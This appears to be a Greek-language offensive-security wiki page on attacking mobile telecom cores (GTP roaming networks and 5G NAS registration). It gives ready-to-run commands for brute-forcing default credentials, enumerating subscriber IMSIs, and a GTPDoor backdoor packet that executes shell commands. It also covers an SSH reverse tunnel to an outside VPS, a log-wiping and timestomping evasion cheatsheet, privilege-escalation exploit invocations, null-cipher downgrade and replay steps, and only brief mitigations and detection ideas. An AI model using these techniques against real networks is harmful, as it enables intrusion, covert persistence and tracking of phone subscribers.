16 KiB
Raw Blame History

Εκμετάλλευση Δικτύου Τηλεπικοινωνιών (GTP / Roaming Environments)

{{#include ../../banners/hacktricks-training.md}}

Note

Τα mobile-core πρωτόκολλα (GPRS Tunnelling Protocol GTP) συχνά διασχίζουν ημι-έμπιστες GRX/IPX roaming ραχοκοκαλιές. Επειδή ταξιδεύουν πάνω σε απλό UDP με σχεδόν καθόλου authentication, οποιοδήποτε foothold εντός της τηλεπικοινωνιακής περίμετρου συνήθως μπορεί να φτάσει άμεσα τα core signalling planes. Οι ακόλουθες σημειώσεις συγκεντρώνουν offensive tricks παρατηρημένα στο wild εναντίον SGSN/GGSN, PGW/SGW και άλλων EPC κόμβων.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … A dedicated wordlist dramatically increases brute-force success:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Εάν η συσκευή εκθέτει μόνο ένα management VRF, pivot μέσω ενός jump host πρώτα (βλέπε ενότητα «SGSN Emu Tunnel» παρακάτω).

1.2 Host Discovery μέσα στο GRX/IPX

Οι περισσότεροι χειριστές GRX εξακολουθούν να επιτρέπουν ICMP echo σε όλο το backbone. Συνδυάστε το masscan με τους ενσωματωμένους gtpv1 UDP probes για να χαρτογραφήσετε γρήγορα τους ακροατές GTP-C:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Απαρίθμηση Συνδρομητών cordscan

Το ακόλουθο εργαλείο Go δημιουργεί πακέτα GTP-C Create PDP Context Request και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει την τρέχουσα SGSN / MME που εξυπηρετεί το ερωτηθέν IMSI και, μερικές φορές, το επισκεπτόμενο PLMN του συνδρομητή.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Βασικά ορίσματα:

  • --imsi IMSI του στοχευόμενου συνδρομητή
  • --oper Home / HNI (MCC+MNC)
  • -w Εγγραφή ακατέργαστων πακέτων σε pcap

Σημαντικές σταθερές μέσα στο binary μπορούν να τροποποιηθούν για να διευρύνουν τις σαρώσεις:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Code Execution over GTP GTPDoor

GTPDoor είναι μια μικρή ELF υπηρεσία που δένεται στο UDP 2123 και αναλύει κάθε εισερχόμενο GTP-C πακέτο. Όταν το payload ξεκινά με ένα pre-shared tag, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω /bin/sh -c. Το stdout/stderr εξάγεται μέσα σε μηνύματα Echo Response έτσι ώστε να μην δημιουργείται ποτέ εξωτερική συνεδρία.

Ελάχιστο PoC πακέτο (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Ανίχνευση:

  • οποιοδήποτε host που στέλνει unbalanced Echo Requests σε SGSN IPs
  • σημαία έκδοσης GTP ορισμένη σε 1 ενώ message type = 1 (Echo) απόκλιση από τις προδιαγραφές

4. Pivoting μέσω του Core

4.1 sgsnemu + SOCKS5

OsmoGGSN παρέχει έναν SGSN emulator ικανό να establish a PDP context towards a real GGSN/PGW. Μόλις διαπραγματευτεί, το Linux λαμβάνει μια νέα διεπαφή tun0 που είναι προσβάσιμη από τον roaming peer.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Με σωστό firewall hair-pinning, αυτός ο tunnel παρακάμπτει τα signalling-only VLANs και σας φέρνει απευθείας στο data plane.

4.2 SSH Reverse Tunnel over Port 53

Το DNS είναι σχεδόν πάντα ανοιχτό σε υποδομές roaming. Εκθέστε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στην :53 και επιστρέψτε αργότερα από το σπίτι:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Ελέγξτε ότι GatewayPorts yes είναι ενεργοποιημένο στο VPS.

5. Covert Channels

Channel Transport Decoding Notes
ICMP EchoBackdoor ICMP Echo Req/Rep 4-byte key + 14-byte chunks (XOR) καθαρός παθητικός listener, χωρίς εξερχόμενη κίνηση
DNS NoDepDNS UDP 53 XOR (key = funnyAndHappy) encoded in A-record octets παρακολουθεί για *.nodep υποτομέα
GTP GTPDoor UDP 2123 AES-128-CBC blob in private IE συνδυάζεται με νόμιμη GTP-C κίνηση

Όλα τα implants υλοποιούν watchdogs που timestomp τα binaries τους και επανεκκινούνται αν καταρρεύσουν.

6. Defense Evasion Cheatsheet

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation σε Legacy NE

# DirtyCow  CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit  CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit  CVE-2021-3156
python3 exploit_userspec.py

Συμβουλή καθαρισμού:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Tool Box

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS custom tooling described in previous sections.
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Η διαδικασία εγγραφής 5G τρέχει πάνω από NAS (Non-Access Stratum) επάνω στο NGAP. Μέχρι να ενεργοποιηθεί η ασφάλεια NAS μέσω Security Mode Command/Complete, τα αρχικά μηνύματα είναι μη αυθεντικοποιημένα και μη κρυπτογραφημένα. Αυτό το παράθυρο προ-ασφάλειας επιτρέπει πολλαπλές διαδρομές επίθεσης όταν μπορείτε να παρατηρήσετε ή να παραποιήσετε την κίνηση N2 (π.χ., on-path μέσα στον core, rogue gNB, ή testbed).

Registration flow (simplified):

  • Registration Request: UE στέλνει SUCI (κρυπτογραφημένο SUPI) και capabilities.
  • Authentication: AMF/AUSF στέλνουν RAND/AUTN; UE επιστρέφει RES*.
  • Security Mode Command/Complete: NAS integrity και ciphering διαπραγματεύονται και ενεργοποιούνται.
  • PDU Session Establishment: IP/QoS setup.

Lab setup tips (non-RF):

  • Core: Open5GS default deployment είναι επαρκές για την αναπαραγωγή των flows.
  • UE: simulator ή test UE; decode με Wireshark.
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly χωρίς να σηκωθεί πλήρες rogue gNB).
  • Useful display filters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Αναμενόμενο: UE/USIM πρέπει να μεταδίδει SUCI (SUPI κρυπτογραφημένο με το public key του home-network). Η εύρεση ενός plaintext SUPI/IMSI στο Registration Request υποδεικνύει έλλειψη ιδιωτικότητας που επιτρέπει επίμονη παρακολούθηση συνδρομητών.

Πώς να το δοκιμάσετε:

  • Capture το πρώτο NAS μήνυμα στο InitialUEMessage και εξετάστε το Mobile Identity IE.
  • Wireshark quick checks:
  • Θα πρέπει να αποκωδικοποιείται ως SUCI, όχι IMSI.
  • Παραδείγματα φίλτρων: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci θα πρέπει να υπάρχει; η απουσία του μαζί με την παρουσία imsi υποδεικνύει leak.

Τι να συλλέξετε:

  • MCC/MNC/MSIN αν εκτίθενται; log ανά-UE και παρακολούθηση σε χρόνο/τοποθεσίες.

Αντιμετώπιση:

  • Επιβάλλετε SUCI-only UEs/USIMs; alert σε οποιοδήποτε IMSI/SUPI στο αρχικό NAS.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Background:

  • UE διαφημίζει υποστηριζόμενα EEA (encryption) και EIA (integrity) στο UE Security Capability IE του Registration Request.
  • Κοινές αντιστοιχίσεις: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 είναι null algorithms.

Issue:

  • Επειδή το Registration Request δεν είναι integrity protected, ένας on-path attacker μπορεί να καθαρίσει bits δυνατοτήτων για να εξαναγκάσει την επιλογή EEA0/EIA0 αργότερα κατά το Security Mode Command. Κάποια stacks λανθασμένα επιτρέπουν null algorithms εκτός emergency services.

Offensive steps:

  • Intercept το InitialUEMessage και τροποποιήστε το NAS UE Security Capability ώστε να διαφημίζει μόνο EEA0/EIA0.
  • Με Sni5Gect, hook το NAS μήνυμα και patch τα capability bits πριν το προωθήσετε.
  • Παρατηρήστε αν το AMF αποδέχεται null ciphers/integrity και ολοκληρώνει το Security Mode με EEA0/EIA0.

Verification/visibility:

  • Στο Wireshark, επιβεβαιώστε τους επιλεγμένους αλγόριθμους μετά το Security Mode Command/Complete.
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Μέτρα αντιμετώπισης (υποχρεωτικά):

  • Διαμορφώστε AMF/policy ώστε να απορρίπτει EEA0/EIA0 εκτός όπου είναι αυστηρώς επιβεβλημένο (π.χ., κλήσεις έκτακτης ανάγκης).
  • Προτιμήστε την επιβολή EEA2/EIA2 ως ελάχιστο · καταγράψτε και ειδοποιήστε (log and alarm) για οποιονδήποτε NAS security context που διαπραγματεύεται null algorithms.

9.3 Replay του αρχικού Registration Request (pre-security NAS)

Επειδή το αρχικό NAS στερείται ακεραιότητας και φρεσκάδας, το καταγεγραμμένο InitialUEMessage+Registration Request μπορεί να επαναληφθεί προς το AMF.

PoC rule for 5GReplay to forward matching replays:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

Τι να παρατηρήσετε:

  • Εάν το AMF αποδέχεται το replay και προχωρά στην Authentication· η έλλειψη επικύρωσης freshness/context υποδεικνύει ευπάθεια.

Αντιμετώπιση:

  • Επιβάλλετε replay protection/context binding στο AMF· εφαρμόστε rate-limit και συσχέτιση ανά GNB/UE.

9.4 Συμβουλές για εργαλεία (αναπαραγώγιμα)

  • Open5GS: ξεκινήστε ένα AMF/SMF/UPF για να προσομοιώσετε το core· παρατηρήστε N2 (NGAP) και NAS.
  • Wireshark: επαληθεύστε τις αποκωδικοποιήσεις των NGAP/NAS· εφαρμόστε τα φίλτρα παραπάνω για να απομονώσετε την Registration.
  • 5GReplay: καταγράψτε μια registration, και μετά replay συγκεκριμένα μηνύματα NGAP + NAS σύμφωνα με τον κανόνα.
  • Sni5Gect: live sniff/modify/inject NAS control-plane για να εξαναγκάσετε null algorithms ή να διαταράξετε authentication sequences.

9.5 Λίστα ελέγχου άμυνας

  • Επιθεωρείτε συνεχώς το Registration Request για plaintext SUPI/IMSI· μπλοκάρετε τις συσκευές/USIMs που παραβιάζουν.
  • Απορρίψτε EEA0/EIA0 εκτός από στενά ορισμένες διαδικασίες έκτακτης ανάγκης· απαιτήστε τουλάχιστον EEA2/EIA2.
  • Εντοπίστε rogue ή κακώς διαμορφωμένη υποδομή: μη εξουσιοδοτημένα gNB/AMF, απρόσμενοι N2 peers.
  • Ειδοποιήστε για NAS security modes που οδηγούν σε null algorithms ή σε συχνά replays του InitialUEMessage.

Ιδέες Ανίχνευσης

  1. Οποιαδήποτε συσκευή, εκτός από SGSN/GGSN, που προβαίνει σε Create PDP Context Requests.
  2. Μη-τυπικές θύρες (53, 80, 443) που δέχονται SSH handshakes από εσωτερικά IPs.
  3. Συχνά Echo Requests χωρίς αντίστοιχα Echo Responses μπορεί να υποδεικνύουν GTPDoor beacons.
  4. Υψηλός ρυθμός ICMP echo-reply κυκλοφορίας με μεγάλα, μη-μηδενικά πεδία identifier/sequence.
  5. 5G: InitialUEMessage που μεταφέρει NAS Registration Requests επαναλαμβανόμενα από τα ίδια endpoints (σήμα replay).
  6. 5G: NAS Security Mode που διαπραγματεύεται EEA0/EIA0 εκτός συμφραζομένων έκτακτης ανάγκης.

References

{{#include ../../banners/hacktricks-training.md}}